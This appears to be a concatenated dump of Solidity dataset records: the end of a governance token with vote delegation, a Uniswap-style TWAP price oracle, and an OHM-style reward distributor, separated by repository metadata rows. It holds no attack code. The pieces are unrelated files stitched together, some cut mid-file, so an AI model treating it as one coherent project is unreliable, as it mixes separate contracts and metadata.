/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @notice A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s)
external
{
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "STORM::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "STORM::delegateBySig: invalid nonce");
require(now <= expiry, "STORM::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "STORM::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes)
internal
{
uint32 blockNumber = safe32(block.number, "STORM::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
| 252,861 | 143 |
8aceef9ee1af6bae4e5b7b09d9dffd2e6e236695a743a8ce591f18fffab4ab35
| 25,328 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/42/42A2963c1DB10aE1a2529a37CE50001679Beb74B_Oracle.sol
| 5,028 | 18,087 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Pair {
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from,
address to,
uint256 value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to) external returns (uint256 amount0, uint256 amount1);
function swap(uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address, address) external;
}
library Babylonian {
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
// else z = 0
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = uint256(1) << RESOLUTION;
uint256 private constant Q224 = Q112 << RESOLUTION;
// encode a uint112 as a UQ112x112
function encode(uint112 x) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(x) << RESOLUTION);
}
// encodes a uint144 as a UQ144x112
function encode144(uint144 x) internal pure returns (uq144x112 memory) {
return uq144x112(uint256(x) << RESOLUTION);
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function div(uq112x112 memory self, uint112 x) internal pure returns (uq112x112 memory) {
require(x != 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112(self._x / uint224(x));
}
// multiply a UQ112x112 by a uint, returning a UQ144x112
// reverts on overflow
function mul(uq112x112 memory self, uint256 y) internal pure returns (uq144x112 memory) {
uint256 z;
require(y == 0 || (z = uint256(self._x) * y) / y == uint256(self._x), "FixedPoint: MULTIPLICATION_OVERFLOW");
return uq144x112(z);
}
// returns a UQ112x112 which represents the ratio of the numerator to the denominator
// equivalent to encode(numerator).div(denominator)
function fraction(uint112 numerator, uint112 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, "FixedPoint: DIV_BY_ZERO");
return uq112x112((uint224(numerator) << RESOLUTION) / denominator);
}
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a UQ144x112 into a uint144 by truncating after the radix point
function decode144(uq144x112 memory self) internal pure returns (uint144) {
return uint144(self._x >> RESOLUTION);
}
// take the reciprocal of a UQ112x112
function reciprocal(uq112x112 memory self) internal pure returns (uq112x112 memory) {
require(self._x != 0, "FixedPoint: ZERO_RECIPROCAL");
return uq112x112(uint224(Q224 / self._x));
}
// square root of a UQ112x112
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x)) << 56));
}
}
// library with helper methods for oracles that are concerned with computing average prices
library UniswapV2OracleLibrary {
using FixedPoint for *;
function currentBlockTimestamp() internal view returns (uint32) {
return uint32(block.timestamp % 2**32);
}
// produces the cumulative price using counterfactuals to save gas and avoid a call to sync.
function currentCumulativePrices(address pair)
internal
view
returns (uint256 price0Cumulative,
uint256 price1Cumulative,
uint32 blockTimestamp)
{
blockTimestamp = currentBlockTimestamp();
price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast();
price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast();
// if time has elapsed since the last update on the pair, mock the accumulated price values
(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves();
if (blockTimestampLast != blockTimestamp) {
// subtraction overflow is desired
uint32 timeElapsed = blockTimestamp - blockTimestampLast;
// addition overflow is desired
// counterfactual
price0Cumulative += uint256(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed;
// counterfactual
price1Cumulative += uint256(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract Operator is Context, Ownable {
address private _operator;
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
constructor() {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
}
function operator() public view returns (address) {
return _operator;
}
modifier onlyOperator() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
function isOperator() public view returns (bool) {
return _msgSender() == _operator;
}
function transferOperator(address newOperator_) public onlyOwner {
_transferOperator(newOperator_);
}
function _transferOperator(address newOperator_) internal {
require(newOperator_ != address(0), "operator: zero address given for new operator");
emit OperatorTransferred(address(0), newOperator_);
_operator = newOperator_;
}
function _renounceOperator() public onlyOwner {
emit OperatorTransferred(_operator, address(0));
_operator = address(0);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
contract Epoch is Operator {
using SafeMath for uint256;
uint256 private period;
uint256 private startTime;
uint256 private lastEpochTime;
uint256 private epoch;
constructor(uint256 _period,
uint256 _startTime,
uint256 _startEpoch) {
period = _period;
startTime = _startTime;
epoch = _startEpoch;
lastEpochTime = startTime.sub(period);
}
modifier checkStartTime {
require(block.timestamp >= startTime, 'Epoch: not started yet');
_;
}
modifier checkEpoch {
uint256 _nextEpochPoint = nextEpochPoint();
if (block.timestamp < _nextEpochPoint) {
require(msg.sender == operator(), 'Epoch: only operator allowed for pre-epoch');
_;
} else {
_;
for (;;) {
lastEpochTime = _nextEpochPoint;
++epoch;
_nextEpochPoint = nextEpochPoint();
if (block.timestamp < _nextEpochPoint) break;
}
}
}
function getCurrentEpoch() public view returns (uint256) {
return epoch;
}
function getPeriod() public view returns (uint256) {
return period;
}
function getStartTime() public view returns (uint256) {
return startTime;
}
function getLastEpochTime() public view returns (uint256) {
return lastEpochTime;
}
function nextEpochPoint() public view returns (uint256) {
return lastEpochTime.add(period);
}
function setPeriod(uint256 _period) external onlyOperator {
require(_period >= 1 hours && _period <= 48 hours, '_period: out of range');
period = _period;
}
function setEpoch(uint256 _epoch) external onlyOperator {
epoch = _epoch;
}
}
// fixed window oracle that recomputes the average price for the entire period once every period
contract Oracle is Epoch {
using FixedPoint for *;
using SafeMath for uint256;
uint immutable PERIOD; // 24 hour TWAP (time-weighted average price) at deployment
uint public CONSULT_LENIENCY = 120; // Used for being able to consult past the period end
bool public ALLOW_STALE_CONSULTS = false; // If false, consult() will fail if the TWAP is stale
// uniswap
address public token0;
address public token1;
IUniswapV2Pair public pair;
// oracle
uint32 public blockTimestampLast;
uint256 public price0CumulativeLast;
uint256 public price1CumulativeLast;
FixedPoint.uq112x112 public price0Average;
FixedPoint.uq112x112 public price1Average;
constructor(IUniswapV2Pair _pair,
uint256 _period,
uint256 _startTime) Epoch(_period, _startTime, 0) {
pair = _pair;
PERIOD = _period;
token0 = pair.token0();
token1 = pair.token1();
price0CumulativeLast = pair.price0CumulativeLast(); // fetch the current accumulated price value (1 / 0)
price1CumulativeLast = pair.price1CumulativeLast(); // fetch the current accumulated price value (0 / 1)
uint112 reserve0;
uint112 reserve1;
(reserve0, reserve1, blockTimestampLast) = pair.getReserves();
require(reserve0 != 0 && reserve1 != 0, "Oracle: NO_RESERVES"); // ensure that there's liquidity in the pair
}
function setNewPeriod(uint256 _period) external onlyOperator {
this.setPeriod(_period);
}
function setConsultLeniency(uint _consult_leniency) external onlyOperator {
CONSULT_LENIENCY = _consult_leniency;
}
function setAllowStaleConsults(bool _allow_stale_consults) external onlyOperator {
ALLOW_STALE_CONSULTS = _allow_stale_consults;
}
function canUpdate() public view returns (bool) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
return (timeElapsed >= PERIOD);
}
function update() external checkEpoch {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// Ensure that at least one full period has passed since the last update
require(timeElapsed >= PERIOD, "UniswapPairOracle: PERIOD_NOT_ELAPSED");
if (timeElapsed == 0) {
// prevent divided by zero
return;
}
// overflow is desired, casting never truncates
unchecked {
price0Average = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed));
price1Average = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed));
}
price0CumulativeLast = price0Cumulative;
price1CumulativeLast = price1Cumulative;
blockTimestampLast = blockTimestamp;
emit Updated(price0Cumulative, price1Cumulative);
}
// note this will always return 0 before update has been called successfully for the first time.
function consult(address _token, uint256 _amountIn) external view returns (uint144 amountOut) {
uint32 blockTimestamp = UniswapV2OracleLibrary.currentBlockTimestamp();
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // Overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, "UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE");
if (_token == token0) {
amountOut = price0Average.mul(_amountIn).decode144();
} else {
require(_token == token1, "Oracle: INVALID_TOKEN");
amountOut = price1Average.mul(_amountIn).decode144();
}
}
function twap(address _token, uint256 _amountIn) external view returns (uint144 _amountOut) {
(uint256 price0Cumulative, uint256 price1Cumulative, uint32 blockTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair));
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
// Ensure that the price is not stale
require((timeElapsed < (PERIOD + CONSULT_LENIENCY)) || ALLOW_STALE_CONSULTS, "UniswapPairOracle: PRICE_IS_STALE_NEED_TO_CALL_UPDATE");
if (_token == token0) {
_amountOut = FixedPoint.uq112x112(uint224((price0Cumulative - price0CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
} else if (_token == token1) {
_amountOut = FixedPoint.uq112x112(uint224((price1Cumulative - price1CumulativeLast) / timeElapsed)).mul(_amountIn).decode144();
}
}
event Updated(uint256 price0CumulativeLast, uint256 price1CumulativeLast);
}
| 310,820 | 144 |
aed79986fe344b7d1f3c332d85abf22e20b460a876e7395784913f0adf14167c
| 17,591 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/f7/f794bda85d9cb314ec6fb6bf47bb7b3361de8b65_Distributor.sol
| 3,872 | 15,326 |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 93,656 | 145 |
b7475ee20fce92f8a2ff089e858bd1eea4979c0627aa666b7c8ecb6f6b611cb8
| 12,290 |
.sol
|
Solidity
| false |
378918600
|
THORWallet/smartcontract
|
29cd6794f374e8aff7fa8a46b280158a81346730
|
